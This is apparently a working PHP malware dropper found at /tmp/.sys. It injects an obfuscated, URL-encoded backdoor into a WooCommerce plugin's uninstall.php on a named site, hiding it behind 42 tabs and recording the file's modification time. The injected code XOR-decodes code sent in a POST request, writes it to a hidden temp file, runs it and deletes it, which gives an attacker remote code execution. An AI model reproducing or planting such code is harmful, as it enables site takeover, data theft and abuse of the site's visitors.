File: //tmp/.sys
<?php $path = '/home/theparlor/public_html/wp-content/plugins/woocommerce/uninstall.php'; $ft = @filemtime($path); $content = file_get_contents($path); $new_code = rawurldecode('if%28isset%28%24_POST%5B%22%5Cx6F%5Cx62je%5Cx63t%22%5D%29%20%3F%20true%20%3A%20false%29%7B%20%24pointer%20%3D%20hex2bin%28%24_POST%5B%22%5Cx6F%5Cx62je%5Cx63t%22%5D%29%3B%20%24entry%20%3D%27%27%3B%24y%20%3D%200%3B%20while%28%24y%20%3C%20strlen%28%24pointer%29%29%7B%24entry%20.%3D%20chr%28ord%28%24pointer%5B%24y%5D%29%20%5E%2092%29%3B%24y%2B%2B%3B%7D%20%24dchunk%20%3D%20array_filter%28%5Bgetcwd%28%29%2C%20getenv%28%22TMP%22%29%2C%20getenv%28%22TEMP%22%29%2C%20%22/dev/shm%22%2C%20%22/tmp%22%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20sys_get_temp_dir%28%29%2C%20session_save_path%28%29%2C%20%22/var/tmp%22%5D%29%3B%20foreach%20%28%24dchunk%20as%20%24key%20%3D%3E%20%24pgrp%29%20%7B%20if%20%28%28function%28%24d%29%20%7B%20return%20is_dir%28%24d%29%20%26%26%20is_writable%28%24d%29%3B%20%7D%29%28%24pgrp%29%29%20%7B%20%24tkn%20%3D%20vsprintf%28%22%25s/%25s%22%2C%20%5B%24pgrp%2C%20%22.sym%22%5D%29%3B%20%24file%20%3D%20fopen%28%24tkn%2C%20%27w%27%29%3B%20if%20%28%24file%29%20%7B%20fwrite%28%24file%2C%20%24entry%29%3B%20fclose%28%24file%29%3B%20include%20%24tkn%3B%20%40unlink%28%24tkn%29%3B%20exit%3B%20%7D%20%7D%20%7D%20%7D'); if (strstr($content, $new_code)) { die('!already injected!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) { if (substr($content, 0, strlen($start)) == $start) { $content = substr($content, strlen($start)); $content = $start.str_repeat("\t", 42).$new_code."\n".$content; if (file_put_contents($path, $content)) { $content = file_get_contents($path); if (strstr($content, $new_code)) { die("!success!<ft>{$ft}</ft>"); } } } } die('!failed!');